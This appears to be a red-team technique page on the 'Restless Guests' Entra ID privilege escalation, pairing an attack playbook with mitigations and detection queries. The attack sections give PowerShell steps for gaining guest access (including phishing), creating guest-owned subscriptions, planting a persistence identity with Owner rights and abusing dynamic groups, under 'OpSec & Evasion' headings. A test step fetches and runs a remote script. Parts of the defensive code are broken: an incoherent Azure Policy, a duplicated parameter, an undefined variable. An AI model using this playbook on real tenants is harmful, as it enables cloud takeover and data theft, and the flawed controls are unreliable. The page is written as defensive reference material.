| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-013 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation |
| Platforms | Entra ID / M365 / Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All current Entra ID versions (no version-specific fix) |
| Patched In | Not patched (by-design behavior) |
| Author | SERVTEP – Artur Pchelnikau |
The “Restless Guests” vulnerability is a critical privilege escalation pathway in Microsoft Entra ID that exploits the decoupling of Entra directory permissions from Azure billing role scoping. A guest user with any billing-related permissions in their home tenant (such as billing account owner or subscription owner) can be invited into a target Entra tenant. From the guest tenant context, the attacker can create new Azure subscriptions, which are automatically provisioned within the target tenant and granted to the attacker as full “Owner.” This bypasses traditional Entra role-based access control (RBAC) and Azure RBAC, since billing permissions are scoped at the billing account level—not the Entra directory. The guest user retains full Owner rights to the subscription they create, even though they have no privileged roles in the target tenant.
Critical risk of undetected lateral movement, persistence, and data exfiltration. Attackers can:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.5 | Ensure that guest accounts have zero permissions (guest invitations should be restricted) |
| DISA STIG | V-220788 | Organizations must restrict guest user creation and limit guest permissions |
| CISA SCuBA | ACC-02 | Entra ID guest access must be restricted and monitored |
| NIST 800-53 | AC-3 (Access Enforcement) | Organizations must enforce that guest users do not exceed intended scope |
| NIST 800-53 | AC-2 (Account Management) | Periodic review of guest accounts and their privileges |
| GDPR | Art. 32 (Security of Processing) | Guest access represents a processing security control that must be documented and assessed |
| DORA | Art. 9 (Protection and Prevention) | Critical infrastructure operators must monitor and restrict external guest access |
| NIS2 | Art. 21 (Cyber Risk Management Measures) | Member states’ operators must implement identity governance to prevent privilege escalation |
| ISO 27001 | A.9.2.1 (Entra ID Administration) | Information security administration must control guest user provisioning |
| ISO 27001 | A.9.2.6 (Management of User Access Rights) | Reviewed quarterly; guest accounts should be included in access reviews |
| ISO 27005 | Risk Scenario: “Compromise of External Identity Provider” | Guest account escalation represents a compromise of external identity trust |
Step 1: Check if guest invitations are enabled
What to Look For:
# Check if guest invitations are enabled
Get-MgPolicyAuthorizationPolicy | Select-Object GuestInvitationSettings
# Alternative (older module):
(Get-AzureADPolicy | Where-Object {$_.Type -eq "B2BManagementPolicy"}).Definition | ConvertFrom-Json
What to Look For:
GuestInvitationSettings: {
"invitationsAllowed": true, # Vulnerable if true
"guestUserRole": "Limited" # Guest permissions level
}
# Check if subscriptions can be created by guests in target tenant
# Login to target tenant and check Azure Policy
Get-AzPolicyAssignment | Where-Object {$_.Properties.displayName -like "*subscription*"} | Select-Object DisplayName, Description
What to Look For:
# Check guest invitation policy
az rest --method GET --uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" --query "guestInvitationSettings"
Supported Versions: All Entra ID versions (current)
Objective: Get invited as a guest into the target Entra tenant.
Prerequisite:
Method A: Self-Invite via Guest Invitation Link (if sharing is enabled) If the target organization has SharePoint or Teams sharing enabled with external users, request a guest link:
Request: Contact a member in the target tenant and ask for an invite to a shared resource (Teams, SharePoint)
Result: Invited as guest with access to that resource
Method B: Compromised Internal User Invite (if phishing/credential theft succeeds)
Request: Use phishing or social engineering to compromise a target tenant user
Result: That user invites the attacker's external email as a guest
Method C: Free Tier Exploitation
Step:
1. Create a free Azure account at https://azure.microsoft.com/free/
2. You automatically become the Billing Account Owner of that subscription
3. Use this account as your "home tenant" with billing permissions
4. Get invited as a guest into the target tenant
Result: You now have billing permissions (from home) + guest status (in target)
Expected Outcome:
Guest user invited to target Entra tenant
Email: attacker@attacker.com (UPN suffix from attacker's home tenant)
State: Active guest (can login to target tenant)
OpSec & Evasion:
Troubleshooting:
Objective: Create an Azure subscription that is owned by you but provisioned in the target tenant.
Command (Azure Portal GUI):
Expected Output:
Subscription created successfully
Subscription ID: /subscriptions/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
Owner: You (guest user)
Directory: Target Tenant (not your home tenant)
Billing Account: Your home tenant's billing account
Command (PowerShell - Advanced):
# Create subscription via Azure Management API
# Note: Requires proper authentication context
$subscriptionRequest = @{
displayName = "Guest-Owned Subscription"
billingAccountId = "/billingAccounts/{billingAccountId}"
skuId = "/subscriptions/{subscriptionId}/providers/Microsoft.Billing/billingAccounts/{billingAccountId}/billingProfiles/{billingProfileId}/invoiceSections/{invoiceSectionId}"
}
$newSubscription = Invoke-AzRestMethod -Path "/subscriptions" -Method POST -Payload $subscriptionRequest
What This Means:
OpSec & Evasion:
Version Note: Process is identical across all Entra ID versions.
Objective: Create a service principal that persists in the target Entra ID directory even if the guest account is removed.
Command (Azure Portal):
persistence-identity-001rg-persistence)Expected Output:
Managed Identity Created
Name: persistence-identity-001
Tenant ID: {target-tenant-id}
Application ID: {app-id}
Object ID: {object-id}
Principal ID: {principal-id}
What This Means:
Command (PowerShell):
# Create User-Managed Identity
New-AzUserAssignedIdentity -ResourceGroupName "rg-persistence" `
-Name "persistence-identity-001" `
-Location "eastus"
# Get the created identity details
$identity = Get-AzUserAssignedIdentity -ResourceGroupName "rg-persistence" -Name "persistence-identity-001"
Write-Host "Principal ID: $($identity.PrincipalId)"
Write-Host "Client ID: $($identity.ClientId)"
OpSec & Evasion:
Objective: Grant the UMI elevated permissions within the subscription or target tenant.
Command (Azure Portal):
Owner or ContributorUser assigned managed identityExpected Output:
Role Assignment Created
Role: Owner
Assigned to: persistence-identity-001 (Managed Identity)
Scope: /subscriptions/{subscription-id}
Command (PowerShell):
# Assign Owner role to UMI on subscription
$subscription = Get-AzSubscription -SubscriptionName "Guest-Owned Subscription"
$identity = Get-AzUserAssignedIdentity -ResourceGroupName "rg-persistence" -Name "persistence-identity-001"
New-AzRoleAssignment -ObjectId $identity.PrincipalId `
-RoleDefinitionName "Owner" `
-Scope "/subscriptions/$($subscription.Id)"
Escalating to Tenant-Level Access (Advanced):
If you want tenant-level access (not just subscription-scoped), you can assign the UMI a tenant-scoped role:
# Assign Directory Reader role to the UMI at tenant scope
New-AzRoleAssignment -ObjectId $identity.PrincipalId `
-RoleDefinitionName "Directory Readers" `
-Scope "/"
What This Means:
Objective: Use the subscription access to identify high-value targets in the target tenant.
Command (PowerShell):
# Enumerate all role assignments in your subscription
Get-AzRoleAssignment -Scope "/subscriptions/{subscription-id}"
# List all users with administrative roles (tenant-scoped)
Get-AzADUser | Where-Object {(Get-AzRoleAssignment -ObjectId $_.ObjectId).RoleDefinitionName -like "*Admin*"}
# Query Entra ID admin roles (if you have Directory Reader access)
Get-MgDirectoryRoleMember -DirectoryRoleId "62e90394-69f5-4237-9190-012177145e10" # Global Administrator role ID
What This Means:
Supported Versions: All Entra ID versions (P1 license required for Dynamic Groups)
Prerequisites:
Command (PowerShell):
# List all dynamic groups in the tenant
Get-MgGroup -Filter "groupTypes/any(x:x eq 'DynamicMembership')" -All | Select-Object DisplayName, Id, MembershipRuleProcessingState
# Get the membership rule for each group
foreach ($group in $groups) {
Write-Host "Group: $($group.DisplayName)"
Write-Host "Rule: $($group.MembershipRule)"
Write-Host "---"
}
Command (PowerShell):
# Look for groups using user-modifiable attributes
$groups = Get-MgGroup -Filter "groupTypes/any(x:x eq 'DynamicMembership')" -All
foreach ($group in $groups) {
# Check if rule uses displayName, department, officeLocation, etc. (user-modifiable)
if ($group.MembershipRule -match "(displayName|department|officeLocation|jobTitle|mobilePhone)") {
Write-Host "EXPLOITABLE: $($group.DisplayName)"
Write-Host "Rule: $($group.MembershipRule)"
}
}
What to Look For:
EXPLOITABLE GROUP FOUND:
displayName: "Billing Admins"
Rule: (user.department -eq "Billing") -or (user.officeLocation -eq "Finance")
Members: 50 users, including Global Administrators
As a guest, your Entra profile might be limited, but if the tenant allows guest profile modification:
Command (PowerShell):
# Modify your own user object (as guest) if permitted
# This requires permission to update your own profile
Update-MgUser -UserId "me" -Department "Billing"
Update-MgUser -UserId "me" -OfficeLocation "Finance"
Alternatively, if guest profile modification is restricted, check if the dynamic group rule references attributes that can be set via another path (e.g., custom extension attributes).
Command (PowerShell):
# Check if you're now a member of the target group
Get-MgGroupMember -GroupId "{dynamic-group-id}" | Where-Object {$_.Id -eq "{your-object-id}"}
# Enumerate permissions granted to this group
Get-AzRoleAssignment -ObjectId "{dynamic-group-id}"
Expected Output:
User ID: {your-guest-id}
Group: "Billing Admins"
Inherited Roles: Owner on subscriptions, Contributor on resource groups
Result: Privilege escalation successful
What This Means:
Test ID: T1078.004 - Create User Account (Cloud Context)
Description: This test simulates the creation of a guest user and verification of privilege escalation via subscription ownership.
Supported Versions: All Entra ID versions
Prerequisites:
Test Command:
# Step 1: Install Atomic Red Team
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/invoke-atomicredteam.ps1' -UseBasicParsing)
# Step 2: Run T1078.004 test for cloud accounts
Invoke-AtomicTest T1078.004 -TestNumbers 1 -Verbose
# Step 3: Verify guest user creation
Get-MgUser -Filter "userType eq 'Guest'" | Select-Object DisplayName, Mail, UserType
Expected Output:
DisplayName: Atomic Test Guest
Mail: atomictest@external.com
UserType: Guest
Result: Guest user successfully created in Entra ID
Cleanup Command:
# Remove test guest user
$guestUser = Get-MgUser -Filter "mail eq 'atomictest@external.com'"
Remove-MgUser -UserId $guestUser.Id
# Remove test subscription (if created)
Remove-AzSubscription -SubscriptionId "{subscription-id}" -Confirm:$false
Reference: Atomic Red Team T1078.004 Tests
Action 1: Restrict Guest User Creation & Invitation
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# Set guest invitation policy
Update-MgPolicyAuthorizationPolicy -GuestInvitationSettings @{
invitationsAllowed = $false # Or "membersCanInvite" for restricted
guestUserRole = "Restricted"
}
Validation Command:
# Verify the policy is applied
Get-MgPolicyAuthorizationPolicy | Select-Object GuestInvitationSettings
Expected Output (If Secure):
GuestInvitationSettings: {
"invitationsAllowed": false,
"guestUserRole": "Restricted"
}
Action 2: Restrict Guest Subscription Creation via Azure Policy
Objective: Block guest users from creating or transferring subscriptions.
Manual Steps (Azure Portal):
Deny Subscription Creation by Guest Users{
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Subscription"
},
{
"field": "Microsoft.Authorization/policies/effect",
"equals": "Microsoft.Subscription/write"
},
{
"not": {
"field": "Microsoft.Authorization/caller/type",
"equals": "User"
}
}
]
},
"then": {
"effect": "deny"
}
}
Manual Steps (PowerShell):
# Create and assign an Azure Policy to deny guest subscription creation
$policyDefinition = New-AzPolicyDefinition -Name "DenyGuestSubscriptionCreation" `
-Description "Prevents guest users from creating subscriptions" `
-Policy @"
{
"if": {
"field": "type",
"equals": "Microsoft.Resources/subscriptions"
},
"then": {
"effect": "deny"
}
}
"@
# Assign the policy at management group scope
New-AzPolicyAssignment -Name "DenyGuestSubscriptionPolicy" `
-PolicyDefinition $policyDefinition `
-Scope "/subscriptions/{subscription-id}"
Validation Command:
# Verify the policy assignment
Get-AzPolicyAssignment | Where-Object {$_.DisplayName -like "*GuestSubscription*"}
Action 3: Audit Guest Subscription Creation Weekly
Manual Steps (PowerShell - Create Recurring Script):
# Run this script via Azure Automation on a weekly schedule
# Connect to Azure
Connect-AzAccount
# Get all subscriptions
$subscriptions = Get-AzSubscription
# Check each subscription for guest-created resources
foreach ($sub in $subscriptions) {
Set-AzContext -SubscriptionId $sub.Id
# Get subscription metadata
$subDetails = Get-AzSubscription -SubscriptionId $sub.Id
$subOwners = Get-AzRoleAssignment -Scope "/subscriptions/$($sub.Id)" -RoleDefinitionName "Owner"
# Flag subscriptions with guest owners
foreach ($owner in $subOwners) {
$user = Get-AzADUser -ObjectId $owner.ObjectId
if ($user.UserType -eq "Guest") {
Write-Warning "SUSPICIOUS: Guest-owned subscription detected!"
Write-Warning "Subscription: $($subDetails.Name) ($($sub.Id))"
Write-Warning "Guest Owner: $($user.UserPrincipalName)"
# Send alert to SOC
}
}
}
Schedule: Run weekly via Azure Automation Runbook
Action 4: Monitor for Suspicious User-Managed Identity Creation
Manual Steps (Azure Portal - Create Alert):
Create User Assigned IdentityEqualsCount1Manual Steps (KQL Query for Microsoft Sentinel):
AuditLogs
| where OperationName =~ "Create User Assigned Identity" or OperationName =~ "Microsoft.ManagedIdentity/userAssignedIdentities/write"
| where InitiatedBy.user.userType == "Guest"
| project TimeGenerated, OperationName, InitiatedBy.user.userPrincipalName, TargetResources
| extend GuestUPN = InitiatedBy.user.userPrincipalName
| summarize Count=count() by GuestUPN, TimeGenerated
| where Count >= 1
Action 5: Implement Conditional Access for Guest Users
Manual Steps (Azure Portal):
Restrict Guest User AccessValidation:
# List conditional access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
Action 6: Restrict Dynamic Group Membership Rule Attributes
Manual Steps (Azure Portal):
Good: user.objectId -in ["objectid1", "objectid2"]
Good: user.assignedLicenses -any (license in collection "7ff88a2e...")
Bad: user.department -eq "Value" (guest can change this)
Conditional Access:
RBAC/ABAC:
Policy Config (ReBAC/PBAC):
# Check that guest invitations are restricted
Get-MgPolicyAuthorizationPolicy | Select-Object GuestInvitationSettings
# Check that subscription creation policies are in place
Get-AzPolicyAssignment | Where-Object {$_.DisplayName -like "*Subscription*"}
# Audit for guest-owned subscriptions (should return nothing if mitigated)
$subscriptions = Get-AzSubscription
foreach ($sub in $subscriptions) {
Set-AzContext -SubscriptionId $sub.Id
$guestOwners = Get-AzRoleAssignment -RoleDefinitionName "Owner" |
Where-Object {(Get-AzADUser -ObjectId $_.ObjectId).UserType -eq "Guest"}
if ($guestOwners) {
Write-Host "RISK FOUND: Guest owners on subscription $($sub.Name)"
}
}
Expected Output (If Secure):
GuestInvitationSettings: {invitationsAllowed: false, guestUserRole: "Restricted"}
No guest-owned subscriptions found
No policy assignments for subscription creation
Activity Patterns:
Audit Log Signals:
Create subscription + Caller UserType: GuestCreate User Assigned Identity + Caller UserType: GuestWrite Role Assignment + Caller UserType: GuestRegister device + Caller UserType: GuestCloud (Azure Activity Log):
Get-AzActivityLogCaller: Guest UPN (e.g., attacker@attacker.com)OperationName: “Create subscription”, “Microsoft.ManagedIdentity/userAssignedIdentities/write”, “Write Role Assignment”ResourceId: Subscription ID, UMI IDTimeGenerated: Timestamp of activityGet-AzActivityLog -StartTime (Get-Date).AddDays(-7) |
Where-Object {$_.Caller -match "@" -and $_.OperationName -match "subscription|identity"} |
Select-Object TimeGenerated, Caller, OperationName, ResourceId
Entra ID Audit Logs:
Search-UnifiedAuditLogInitiatedBy.user.userType: “Guest”OperationName: “Add member to group”, “Invite external user”, “Assign role”Microsoft Sentinel (KQL):
AuditLogs
| where InitiatedBy.user.userType == "Guest"
| where OperationName in ("Create User Assigned Identity", "Microsoft.ManagedIdentity/userAssignedIdentities/write", "Assign role")
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName, TargetResources
Command (Azure Portal):
Command (PowerShell):
# Block the guest user
Update-MgUser -UserId "{guest-user-id}" -AccountEnabled:$false
Verification:
Get-MgUser -UserId "{guest-user-id}" | Select-Object DisplayName, AccountEnabled
Command (Azure Portal):
Command (PowerShell):
# Delete guest-owned subscription
$guestSubscription = Get-AzSubscription -SubscriptionName "Guest-Owned Subscription"
Remove-AzSubscription -SubscriptionId $guestSubscription.Id -Confirm:$false
Command (Azure Portal):
Command (PowerShell):
# Find and delete guest-created UMIs
$identities = Get-AzUserAssignedIdentity -ResourceGroupName "rg-persistence"
foreach ($identity in $identities) {
Remove-AzUserAssignedIdentity -ResourceGroupName "rg-persistence" -Name $identity.Name -Force
}
Command (PowerShell):
# Get all role assignments to the guest user
$roleAssignments = Get-AzRoleAssignment -ObjectId "{guest-user-id}"
# Remove each role assignment
foreach ($assignment in $roleAssignments) {
Remove-AzRoleAssignment -ObjectId "{guest-user-id}" `
-RoleDefinitionName $assignment.RoleDefinitionName `
-Scope $assignment.Scope
}
Command (PowerShell):
# Export activity logs for investigation
Get-AzActivityLog -StartTime (Get-Date).AddDays(-30) -StartTime (Get-Date) |
Where-Object {$_.Caller -eq "{guest-upn}"} |
Export-Csv -Path "C:\Evidence\GuestActivity.csv"
# Export audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-UserIds "{guest-upn}" |
Export-Csv -Path "C:\Evidence\GuestAudit.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes for device code to compromise an external account |
| 2 | Credential Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker sprays passwords to compromise a billing-enabled user |
| 3 | Privilege Escalation | [PE-VALID-013] | Attacker leverages guest access + billing permissions to create subscriptions |
| 4 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions Escalation | Attacker creates persistent service principal via UMI |
| 5 | Defense Evasion | [PE-POLICY-004] Azure Lighthouse Delegation Abuse | Attacker hides presence by delegating management to fake partner tenant |
| 6 | Collection | [COLLECTION-001] Data Exfiltration via Storage Account | Attacker exfiltrates data from storage accounts within guest-owned subscription |